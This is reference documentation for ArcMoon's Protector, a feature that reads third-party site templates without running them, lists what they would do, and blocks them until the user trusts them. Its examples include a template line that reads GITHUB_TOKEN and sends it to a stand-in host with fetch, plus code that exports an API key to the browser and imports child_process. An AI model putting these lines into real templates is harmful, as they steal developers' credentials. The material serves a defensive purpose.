Reference
Protector
Templates you didn't write never run until you trust them: the report, trust, and changes.
Why it exists
${ }$ code runs on your computer while you build, with your full access: it can read and write files,
read your environment variables, run programs and send data anywhere. That is what makes build-time code useful,
and it is also why a template you download could do harm:
${
const token = process.env.GITHUB_TOKEN;
await fetch("https://stats.example.com/hit?t=" + token); // your token, sent away
}$
[article][slot!][end]The protector makes sure code you didn't write never runs until you have seen what it would do and said yes. Like an editor asking "Do you trust this folder?", it is a look before running.
Your files and templates
- Your files: files inside the folder where you run
arcm, outsidenode_modules. They always run. - Templates: everything else. They wait for your trust. A template is a whole npm package, or a whole folder outside your project.
[import = Card: "../src/Card.arcm" !] # your file: runs
[import = Button: "fancy-ui/Button.arcm" !] # template "fancy-ui" (npm)
[import = Post: "../../downloads/blog-theme/Post.arcm" !] # template "../downloads/blog-theme"The report
The first time a page uses a template you haven't trusted, the build stops and shows what the template would do. ArcMoon reads the code to make this list; it runs none of it:
⚠ Template "../downloads/blog-theme" is not trusted. It would:
import node:fs (read/write), node:child_process
risky fs (write), child_process
scripts helper.js, rt.js
fetch stats.example.com, cdn.example.org
env GITHUB_TOKEN, API_KEY
dynamic eval() at …/blog-theme/Post.arcm:8:3
runtime 1 runtime block, 1 [script] file
exports leaked (from process.env!)
Review it, then run "arcmoon trust ../downloads/blog-theme".
Nothing was run.That report comes from this template. Each line of code shows up in a row:
${
import { readFileSync, writeFileSync } from "node:fs"; // import, risky: fs (write)
import { exec } from "node:child_process"; // import, risky: child_process
import { slug } from "./helper.js"; // scripts: helper.js
const token = process.env.GITHUB_TOKEN; // env
const res = await fetch("https://stats.example.com/hit"); // fetch
export const leaked = process.env.API_KEY; // env, exports (from process.env!)
eval("1 + 1"); // dynamic
}$
runtime ${ console.log(leaked); }$ # runtime: 1 runtime block
[script = src: "./rt.js" !] # scripts: rt.js, runtime: 1 [script] file
[article][slot!][end]The cdn.example.org in fetch comes from helper.js: imported files are read too, and their findings join the same rows.
What each row means
- import: npm packages and
node:modules the code loads.node:fsis marked(read)or(read/write). - risky: the powerful ones, in red: running programs (
child_process), writing files, network sockets (net,dgram,tls),vm,worker_threads, and ways around these checks. - scripts: local
.jsand.jsonfiles it uses, and every file those import in turn. - fetch: the hosts it contacts. If
fetchis passed around instead of called, it saysany host. - env: the environment variables it reads, like secrets and tokens.
(all)when it usesprocessin a way that could read any of them. - remote: imports from URLs.
- dynamic: code that can't be read ahead:
eval,Function,import()with a computed name,processpassed around. Each with its place in the file. - runtime: code that goes to your visitors' browsers, and the npm packages it ships.
- exports: build-time values sent to the browser.
(from process.env!)means a secret would end up in your public page.
When code hides what it does, the report says so instead of guessing. This npm template passes fetch and process around and builds an import name:
${
import { today } from "tiny-date";
const f = fetch;
const p = process;
const mod = await import("./" + "x.js").catch(() => null);
}$
runtime ${ import confetti from "canvas-confetti"; }$
[button]Built ${ today() }$[end]Template "fancy-ui" (⚠ not trusted):
import tiny-date
fetch any host (fetch used indirectly at …/fancy-ui/Button.arcm:3:13)
env (all)
dynamic process used indirectly at …/Button.arcm:4:13, import() with a computed name at …/Button.arcm:5:21
runtime 1 runtime block, ships canvas-confetti to visitorsTrusting a template
Read the template's code, compare it with the report, and if you are happy, trust it:
arcm trust pages/index.arcm✓ Trusted "../downloads/blog-theme" (sha256-93751b26245e…)
import node:fs (read/write), node:child_process
…
Saved to arcmoon.trust.json. If a template changes, ArcMoon asks again.Give it a page or a folder: it trusts every template those pages use. Trust is saved next to your config:
{
"version": 1,
"templates": {
"../downloads/blog-theme": {
"hash": "sha256-93751b26245e5f08b17d3d2635991a2ebfbddb3af62d632d822af0b574fe8e26",
"packages": {},
"trustedAt": "2026-10-15T05:39:22.827Z"
}
}
}When a template changes
The hash covers everything the template can run, so any change means you are asked again:
- its
.arcmfiles; - its local scripts, and every file they import, however deep;
- the installed version of each package it imports.
Edit helper.js in the theme, or update tiny-date from 1.0.0 to 1.0.1, and the next build stops:
⚠ Template "fancy-ui" has changed since it was trusted. It would:
import tiny-date
…Review what changed, then trust it again with arcm trust.
Listing and removing trust
arcm trust --list
../downloads/blog-theme (trusted 2026-10-15T05:39:22.827Z)
arcm untrust ../downloads/blog-theme
✓ Untrusted "../downloads/blog-theme"Checking your own files
arcm audit shows the same report for your files too, without building. Handy before a review, or to see what a page reaches for:
${
import { readFileSync } from "node:fs";
const site = process.env.SITE_NAME;
}$
runtime ${ console.log("hi"); }$
[p]About[end]arcm audit pages/about.arcm
pages/about.arcm
Your files (1):
import node:fs (read)
env SITE_NAME
runtime 1 runtime block
No templates from outside my-site.In code and CI
Only you can trust. Builds that run without you, like the JavaScript API, CI or other tools, never ask: they stop with the report. From code, it is a ProtectorError:
import ArcMoon from "arcmoon";
try {
await new ArcMoon({ filename: "pages/index.arcm" }).compile();
} catch (err) {
console.log(err.name); // "ProtectorError", with the report as its message
}Commit arcmoon.trust.json with your project. Then CI and your team build with the same trust, and a template that changed stops their build too.
Tips
- Read before you trust. The report tells you where to look; the code tells you what it does.
- Look hard at
risky,envandexports. A theme rarely needs to run programs, read your tokens, or send build-time values to the browser. - Treat
dynamicandany hostas questions. They mean the code doesn't say plainly what it does. - Lock package versions with your package manager's lock file, so a template doesn't change under you. If it does, ArcMoon asks again.